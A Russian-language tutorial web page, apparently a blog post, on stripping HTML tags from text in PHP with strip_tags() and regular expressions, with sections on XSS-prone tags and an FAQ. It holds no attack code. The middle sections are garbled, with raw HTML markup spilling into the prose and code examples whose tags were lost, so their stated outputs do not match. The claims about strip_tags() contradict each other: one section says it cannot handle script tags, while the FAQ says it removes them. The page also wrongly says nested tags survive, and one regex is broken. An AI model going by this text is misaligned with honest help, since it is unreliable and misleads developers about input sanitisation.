Как удалить все HTML-теги из текста в PHP: пошаговое руководство

PHP — это один из самых популярных языков программирования в мире веб-разработки.Иногда необходимо удалить HTML или PHP теги из текста для того, чтобы использовать его в других целях. Это может быть полезно, если вы собираетесь работать с данными для обработки или же если вы хотите преобразовать HTML-контент в простой текст.

Существует несколько способов удаления тегов из текста в PHP, включая регулярные выражения и функции, такие как strip_tags(). В этой статье мы рассмотрим эти методы и подробно расскажем, как их применять.

Независимо от того, какой метод удаления тегов из текста в PHP вы выберете, вы можете быть уверены, что этот процесс не займет много времени и не потребует от вас особых усилий. Следуя нашему руководству, вы сможете быстро и легко удалить все теги из текста в PHP.

Удаление тегов в PHP: подробное руководство

PHP позволяет легко удалять все теги из текста с помощью нескольких строк кода. Данный функционал может потребоваться при работе с входящими данными из формы, при чтении данных из базы данных и т.д. В данном руководстве мы подробно опишем, как удалить все теги из текста в PHP.

Первый и самый простой способ удаления тегов из текста в PHP — использование функции strip_tags (). Эта функция удаляет все HTML и PHP-теги из указанной строки и возвращает результат. Например, чтобы удалить все теги из переменной $ str, можно использовать следующий код:

$ str = " Это текст с тегами. И это жирный текст. ";

$ str = strip_tags ($ str);

После выполнения этого кода переменная $ str будет содержать только обычный текст без тегов.

Второй способ — использование регулярных выражений для удаления тегов из текста. Регулярные выражения — это мощный инструмент для обработки текста в PHP, и они могут использоваться для удаления тегов. Например, следующий код удаляет все HTML-теги из строки $ str с помощью регулярного выражения:

$ str = "Это текст с тегами. И это жирный текст.";

$ str = preg_replace ('/<[^>]*>/', '', $ str);

После выполнения этого кода переменная $ str будет содержать только обычный текст без тегов.

В обоих случаях удаление тегов из текста в PHP является простой задачей, и вам нужно лишь выбрать наиболее подходящий способ в зависимости от вашей ситуации.

Почему нужно удалять теги из текста?

При написании текстового содержимого в HTML формате, мы часто используем теги для оформления текста. Однако, в некоторых случаях нам может понадобиться удалить все теги из текста. Это может быть необходимо для:

  • Получения чистого текста для дальнейшей обработки или сохранения в базе данных.
  • Улучшения ранжирования сайта в поисковых системах, так как некоторые алгоритмы могут считать, что в тексте слишком много тегов и снижать его вес.
  • Увеличения скорости загрузки страницы, так как чем меньше вес страницы, тем быстрее она загружается.

Важно понимать, что удаление тегов может повлиять на отображение текста на странице, поэтому его следует выполнять только при необходимости и после тщательного анализа.

Какие теги нужно удалять?

Чтобы удалить все теги из текста при помощи PHP, необходимо определить, какие теги нужно удалять. Во-первых, следует удалить все теги HTML, включая,, и т.д. Также необходимо удалить все теги форматирования, такие как <strong>, <em>, <u>, <s> и так далее.<br /> Однако есть несколько тегов, которые можно оставить в тексте без вреда. Например, теги списка</p><ul>,</p><ol> и</p><li> помогают организовать информацию в удобном формате. Также тег<br /><table> может быть полезен для представления табличных данных.</p><p>Но независимо от того, какие теги вы решите оставить, помните, что удаление тегов может привести к потере форматирования и структуры текста. Поэтому перед удалением тегов важно внимательно оценить, как это может повлиять на пользовательский опыт и читабельность вашего контента. Однако, если вы уверены в вашем решении удалить все теги, можете использовать функцию strip_tags() в PHP, чтобы удалять все теги из текста.</p><h3><span class="ez-toc-section" id="%D0%9E%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5_%D0%BC%D0%BE%D0%B3%D1%83%D1%82_%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%81%D1%82%D0%B8_%D0%BA_XSS-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0%D0%BC"></span>Опасные теги, которые могут привести к XSS-атакам<span class="ez-toc-section-end"></span></h3><p>Веб-разработчики и системные администраторы знают, что веб-страницы могут быть уязвимы для атак типа XSS (межсайтовое выполнение сценариев). Одной из наиболее распространенных причин становления веб-страниц уязвимыми для этого типа атак являются теги, которые могут выполнять скрипты или коды, вводимые пользователями.</p><p>Примером таких тегов могут служить <strong><script></strong> и <strong><iframe></strong>. Эти теги используются, чтобы исполнять скрипты и встраивать веб-страницы из другого сайта. Когда эти теги используются неправильно или воспроизводят данные пользователя непосредственно на странице, это обычно означает, что веб-страница становится уязвимой для XSS-атак.</p><p>Кроме того, ряд других тегов также могут быть опасными, такие как <strong><iframe>, <object>, <embed></strong> и другие, которые позволяют встраивать на страницу веб-содержимое из других сайтов или выполнять скрипты на странице.</p><p>Чтобы предотвратить атаки XSS, необходимо удалить все теги, которые могут выполнять скрипты, и обрабатывать все данные пользователя, перед их вставкой на страницу, чтобы гарантировать, что они не могут быть использованы для взлома вашего сайта.</p><ul><li>Используйте функции PHP, такие как <strong>htmlspecialchars()</strong> и <strong>strip_tags()</strong>, чтобы удалять теги из ваших данных пользователя.</li><li>Перед конечным вводом пользовательских данных на веб-страницу используйте санитайзеры, чтобы исключить возможность ввода команд, которые могут использоваться для атаки.</li><li>Используйте методы выборки данных из базы данных с использованием параметров их привязки, чтобы минимизировать возможность ввода команд в ваши базы данных.</li></ul><p>Современные инструменты для разработки веб-сайтов и поддержки безопасности, такие как фреймворки и библиотеки, также предоставляют множество инструментов для обнаружения и исправления возможных уязвимостей в коде, помогающих защитить ваш сайт.</p><h3><span class="ez-toc-section" id="%D0%A2%D0%B5%D0%B3%D0%B8_%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5_%D0%BC%D0%BE%D0%B3%D1%83%D1%82_%D0%BF%D0%BE%D0%B2%D1%80%D0%B5%D0%B4%D0%B8%D1%82%D1%8C_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%83_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B"></span>Теги форматирования текста, которые могут повредить структуру страницы<span class="ez-toc-section-end"></span></h3><p>При работе с HTML, необходимо быть внимательным к тегам форматирования текста, которые могут повредить структуру страницы. Эти теги часто используются для придания тексту эффекта, но не всегда они делают это правильно.</p><p>Например, тег <b> часто используется для выделения текста, делая его жирным. Но использование этого тега может привести к тому, что текст будет терять свойство семантической разметки, что затрудняет поисковую оптимизацию. Вместо тега <b> лучше использовать тег <strong>, который подчеркивает семантическую значимость текста и оставляет его читаемым для поисковых роботов.</p><p>Тег <i> часто используется для выделения текста, делая его курсивным. Но в отличие от тега <strong>, тег <i> не изменяет значимость текста и может ввести в заблуждение читателя. Лучше использовать тег <em>, который выделяет семантическую значимость текста, например, при использовании цитат, и оставляет его читаемым для поисковых роботов.</p><p>Теги <ul>, <ol> и <li> часто используются для создания списков. Но неправильное использование этих тегов может повредить структуру страницы и сделать ее трудноразбираемой, что затрудняет навигацию и поисковую оптимизацию. Лучше использовать эти теги в соответствии со стандартом HTML, чтобы избежать ошибок при разметке.</p><p>Тег <table> часто используется для создания таблицы с данными. Но неправильное использование этого тега может привести к тому, что таблица будет трудноразбираемой и затруднит навигацию по сайту. Лучше использовать этот тег в соответствии со стандартом HTML и добавлять соответствующие атрибуты для стилизации таблицы.</p><h2><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D0%B2%D1%81%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D0%B2_PHP"></span>Как удалить все теги из текста в PHP?<span class="ez-toc-section-end"></span></h2><p>Если вам нужно удалить все теги из текста в PHP, то есть несколько способов это сделать.</p><p>Первый и наиболее простой метод – использовать функцию <strong>strip_tags</strong>. Она удаляет все теги из текста, оставляя только текст.</p><p>Пример использования:</p><p><code></p><p>$text = 'Пример текста с тегами';</p><p>$cleantext = strip_tags($text);</p><p>echo $cleantext; // Выведет: Пример текста с тегами</p><p></code></p><p>Если вам нужно удалить только определенные теги, то Вы можете указать их в аргументах функции.</p><p><code></p><p>$text = 'Пример текста с тегами';</p><p>$cleantext = strip_tags($text, '<a>');</p><p>echo $cleantext; // Выведет: <p>Пример текста с тегами</p></p><p></code></p><p>Второй метод — использовать регулярные выражения. Он подходит для более сложных случаев. Регулярное выражение будет искать все теги в тексте и удалять их.</p><p><code></p><p>$text = 'Пример текста с тегами';</p><p>$cleantext = preg_replace('#<[^>]+>#', '', $text);</p><p>echo $cleantext; // Выведет: Пример текста с тегами</p><p></code></p><p>Выберите тот способ, который подходит лучше всего для вашей задачи.</p><h3><span class="ez-toc-section" id="%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_strip_tags"></span>Использование функции strip_tags()<span class="ez-toc-section-end"></span></h3><p>PHP — мощный язык программирования для обработки текста. Он предоставляет несколько функций для удаления тегов HTML из текста. Одна из таких функций — strip_tags(). Функция удаляет все теги и на выходе получаем чистый текст.</p><p>Функция strip_tags() расположена в стандартной библиотеке PHP и проста в использовании. Она принимает два аргумента. Первый аргумент — это текст, который нужно очистить. Второй аргумент необязателен. Он задает список разрешенных тегов, которые нужно оставить в тексте.</p><p>При вызове strip_tags() без второго аргумента, функция удалит все теги из текста, включая скрипты и комментарии. Это может быть полезно при обработке пользовательского ввода для предотвращения возможных атак. Пример использования без второго аргумента:</p><p><pre></p> <p>$dirty_text = "<strong>Hello</strong> <em>world!</em>";</p> <p>$clean_text = strip_tags($dirty_text);</p> <p>echo $clean_text; // Результат: Hello world!</p> <p></pre></p><p>Но если мы хотим сохранить некоторые теги, то второй аргумент должен содержать список разрешенных тегов. Например, если мы хотим сохранить теги <em> и <strong>, мы можем вызвать функцию следующим образом:</p><p><pre></p> <p>$dirty_text = "<strong>Hello</strong> <em>world!</em>";</p> <p>$clean_text = strip_tags($dirty_text, "<em><strong>");</p> <p>echo $clean_text; // Результат: <strong>Hello</strong> <em>world!</em></p> <p></pre></p><p>Таким образом, функция strip_tags() является удобным инструментом для очистки текста от тегов HTML при обработке пользовательского ввода или других задачах, где необходимо получить чистый текст без HTML.</p><h3><span class="ez-toc-section" id="%D0%A0%D1%83%D1%87%D0%BD%D0%BE%D0%B5_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9"></span>Ручное удаление тегов с помощью регулярных выражений<span class="ez-toc-section-end"></span></h3><p>Ручное удаление тегов с помощью регулярных выражений — это процесс, который требует навыков работы с регулярными выражениями. Этот процесс может быть полезен в случаях, когда вам не нужно удалять все теги, а только определенные.</p><p>Перед началом процесса вы должны знать, что поиск и удаление тегов регулярными выражениями — это опасный процесс. Если вы допустите ошибку, вы можете случайно удалить не только теги, но и важную информацию из текста.</p><p>Чтобы начать процесс удаления тегов с помощью регулярных выражений, вы должны сначала определить, какие теги нужно удалить, а затем написать регулярное выражение, которое будет игнорировать все теги, кроме этих.</p><p>Примером можно привести удаление тега <code><img></code> из текста:</p><p><pre><code>$text = preg_replace('/<imgs.*?>/i', '', $text);</code></pre></p><p>Это регулярное выражение найдет все теги img в тексте и удалит их. Однако, если вы хотите удалить несколько тегов, вам нужно написать регулярное выражение для каждого из них.</p><p>Ручное удаление тегов может быть полезным, но если вам нужно удалить все теги из текста, то лучше использовать более эффективные методы. Например, вы можете использовать функцию strip_tags, которая убирает все теги из текста:</p><p><pre><code>$text = strip_tags($text);</code></pre></p><p>Этот метод гарантирует, что весь текст будет без тегов и сохранит важную информацию.</p><h2><span class="ez-toc-section" id="%D0%A1%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0_%D0%B8_%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_strip_tags"></span>Свойства и ограничения функции strip_tags()<span class="ez-toc-section-end"></span></h2><p>Функция strip_tags() в PHP является одной из наиболее распространенных для удаления HTML-тегов из текстовых строк. Она позволяет очищать текст от тегов для последующей обработки, вывода на экран или сохранения в базе данных.</p><p>Свойства функции strip_tags() включают ее простоту использования и эффективность. Она позволяет удалить все теги из текста одной простой командой без необходимости знать имя каждого тега.</p><p>Однако, функция strip_tags() имеет свои ограничения. Она не может использоваться для удаления JavaScript-кода из текста, так как она не распознает скриптовые теги. Кроме того, функция не обрабатывает атрибуты тегов, такие как стили и классы, что может привести к тому, что они будут сохранены в тексте.</p><p>Также, следует быть осторожным при использовании функции strip_tags() для очистки ввода от пользователей. Данные, введенные пользователем, могут содержать вредоносный код, который может быть сохранен после удаления тегов.</p><p>В итоге, функция strip_tags() является полезным инструментом для очистки текста от HTML-тегов, но следует использовать ее с осторожностью и знать ее ограничения.</p><h3><span class="ez-toc-section" id="%D0%A3%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%B4%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%BF%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80%D0%BE%D0%B2"></span>Удаление определенных тегов с помощью дополнительных параметров<span class="ez-toc-section-end"></span></h3><p>Как удалить определенные теги из текста в PHP? Для этого можно использовать дополнительные параметры в функции strip_tags(). Например, если вы хотите удалить все теги, кроме тегов <p> и <a>, можно указать их вторым параметром:</p><p><code>strip_tags($text, '<p><a>');</code></p><p>Такой вызов функции удалит все теги, кроме <p> и <a>. Если вам нужно удалить несколько тегов, можно перечислить их через запятую:</p><p><code>strip_tags($text, '<p><a><strong>');</code></p><p>Таким образом, с помощью дополнительных параметров вы можете настроить процесс удаления тегов, чтобы оставить только те, которые нужны вам для отображения текста.</p><h3><span class="ez-toc-section" id="%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_strip_tags"></span>Функциональные ограничения strip_tags()<span class="ez-toc-section-end"></span></h3><p><strong>strip_tags()</strong> — это очень полезная функция в PHP, которая позволяет удалять все HTML и PHP теги из текста. Однако, она не всегда работает так, как планируется. Есть некоторые функциональные ограничения, о которых следует знать.</p><p>Во-первых, функция по умолчанию удаляет все теги из текста, включая тех, которые не являются HTML и PHP тегами. Например, если в тексте есть гиперссылки, то функция удалит их вместе с остальными тегами. Также, если тег содержит атрибуты, то они также будут удалены.</p><p>Во-вторых, функция не удаляет теги, если они находятся внутри других тегов. Например, если в тексте есть тег <em>, который содержит тег <strong>, то функция не удалит тег <strong>. Однако, если запустить функцию несколько раз, то она удалит все теги в итоге.</p><p>Наконец, стоит учитывать, что функция strip_tags() не является идеальной и не всегда удаляет все теги правильно. Например, если в тексте есть несколько тегов <script>, то функция может удалить только часть из них. Это может создавать проблемы, например, если на сайте используется защита от XSS атак.</p> <p>В целом, функция strip_tags() очень полезна и может помочь очистить текст от HTML и PHP тегов. Но для правильной работы ее нужно использовать с осторожностью и учитывать ее функциональные ограничения.</p> <h2><span class="ez-toc-section" id="FAQ"></span>FAQ<span class="ez-toc-section-end"></span></h2> <h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B1%D1%83%D0%B4%D1%83%D1%82_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D1%8B_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_PHP"></span>Какие теги будут удалены из текста с помощью PHP?<span class="ez-toc-section-end"></span></h4> <p>Из текста будут удалены все теги, включая открывающие и закрывающие теги. Незакрытые теги будут оставлены в тексте.</p> <h4><span class="ez-toc-section" id="%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D1%82%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D1%82%D0%B5%D0%B3_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0"></span>Можно ли удалить только определенный тег из текста?<span class="ez-toc-section-end"></span></h4> <p>Да, в PHP можно использовать функцию strip_tags() с параметром, указывающим какие теги нужно оставить. Например, strip_tags($text, '</p> <p><a>').</p> <h4><span class="ez-toc-section" id="%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8E_strip_tags_%D0%B4%D0%BB%D1%8F_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B2_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0"></span>Можно ли использовать функцию strip_tags() для удаления скриптов из текста?<span class="ez-toc-section-end"></span></h4> <p>Да, функция strip_tags() удаляет все теги, включая скрипты. Однако, это не гарантирует 100% безопасности, поэтому лучше использовать дополнительные проверки и фильтры.</p> <h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%BB%D1%83%D1%87%D1%88%D0%B5_%D0%B4%D0%BB%D1%8F_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_-_preg_replace_%D0%B8%D0%BB%D0%B8_strip_tags"></span>Какая функция лучше для удаления тегов из текста - preg_replace() или strip_tags()?<span class="ez-toc-section-end"></span></h4> <p>В большинстве случаев лучше использовать функцию strip_tags(), так как она проще и быстрее. Однако, если нужно сделать более сложную замену, то preg_replace() может быть более подходящей функцией.</p> <h4><span class="ez-toc-section" id="%D0%95%D1%81%D1%82%D1%8C_%D0%BB%D0%B8_%D0%B2%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D1%82%D0%B5%D0%B3%D0%B8_%D1%82%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%B8%D0%B7_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D1%87%D0%B0%D1%81%D1%82%D0%B8_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0"></span>Есть ли возможность удалить теги только из определенной части текста?<span class="ez-toc-section-end"></span></h4> <p>Да, можно использовать функцию substr() для выделения нужной части текста, а затем применить функцию strip_tags() только к этой части. Например, strip_tags(substr($text, 0, 100)).</p> <div class="flat_pm_end"></div> <div id="ez-toc-container" class="ez-toc-v2_0_22 counter-hierarchy ez-toc-grey"> <div class="ez-toc-title-container"> <p class="ez-toc-title">Cодержание</p> <span class="ez-toc-title-toggle"><a class="ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle" style="display: none;"><i class="ez-toc-glyphicon ez-toc-icon-toggle"></i></a></span></div> <nav><ul class="ez-toc-list ez-toc-list-level-1"><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-1" href="#%D0%A3%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B2_PHP_%D0%BF%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%BE%D0%B5_%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE" title="Удаление тегов в PHP: подробное руководство">Удаление тегов в PHP: подробное руководство</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-2" href="#%D0%9F%D0%BE%D1%87%D0%B5%D0%BC%D1%83_%D0%BD%D1%83%D0%B6%D0%BD%D0%BE_%D1%83%D0%B4%D0%B0%D0%BB%D1%8F%D1%82%D1%8C_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0" title="Почему нужно удалять теги из текста?">Почему нужно удалять теги из текста?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-3" href="#%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%BD%D1%83%D0%B6%D0%BD%D0%BE_%D1%83%D0%B4%D0%B0%D0%BB%D1%8F%D1%82%D1%8C" title="Какие теги нужно удалять?">Какие теги нужно удалять?</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-4" href="#%D0%9E%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5_%D0%BC%D0%BE%D0%B3%D1%83%D1%82_%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%81%D1%82%D0%B8_%D0%BA_XSS-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0%D0%BC" title="Опасные теги, которые могут привести к XSS-атакам">Опасные теги, которые могут привести к XSS-атакам</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-5" href="#%D0%A2%D0%B5%D0%B3%D0%B8_%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5_%D0%BC%D0%BE%D0%B3%D1%83%D1%82_%D0%BF%D0%BE%D0%B2%D1%80%D0%B5%D0%B4%D0%B8%D1%82%D1%8C_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%83_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B" title="Теги форматирования текста, которые могут повредить структуру страницы">Теги форматирования текста, которые могут повредить структуру страницы</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-6" href="#%D0%9A%D0%B0%D0%BA_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D0%B2%D1%81%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D0%B2_PHP" title="Как удалить все теги из текста в PHP?">Как удалить все теги из текста в PHP?</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-7" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_strip_tags" title="Использование функции strip_tags()">Использование функции strip_tags()</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-8" href="#%D0%A0%D1%83%D1%87%D0%BD%D0%BE%D0%B5_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9" title="Ручное удаление тегов с помощью регулярных выражений">Ручное удаление тегов с помощью регулярных выражений</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-9" href="#%D0%A1%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0_%D0%B8_%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_strip_tags" title="Свойства и ограничения функции strip_tags()">Свойства и ограничения функции strip_tags()</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-10" href="#%D0%A3%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%B4%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%BF%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80%D0%BE%D0%B2" title="Удаление определенных тегов с помощью дополнительных параметров">Удаление определенных тегов с помощью дополнительных параметров</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-11" href="#%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_strip_tags" title="Функциональные ограничения strip_tags()">Функциональные ограничения strip_tags()</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-12" href="#FAQ" title="FAQ">FAQ</a><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-13" href="#%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B1%D1%83%D0%B4%D1%83%D1%82_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D1%8B_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_PHP" title="Какие теги будут удалены из текста с помощью PHP?">Какие теги будут удалены из текста с помощью PHP?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-14" href="#%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D1%82%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D1%82%D0%B5%D0%B3_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0" title="Можно ли удалить только определенный тег из текста?">Можно ли удалить только определенный тег из текста?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-15" href="#%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8E_strip_tags_%D0%B4%D0%BB%D1%8F_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B2_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0" title="Можно ли 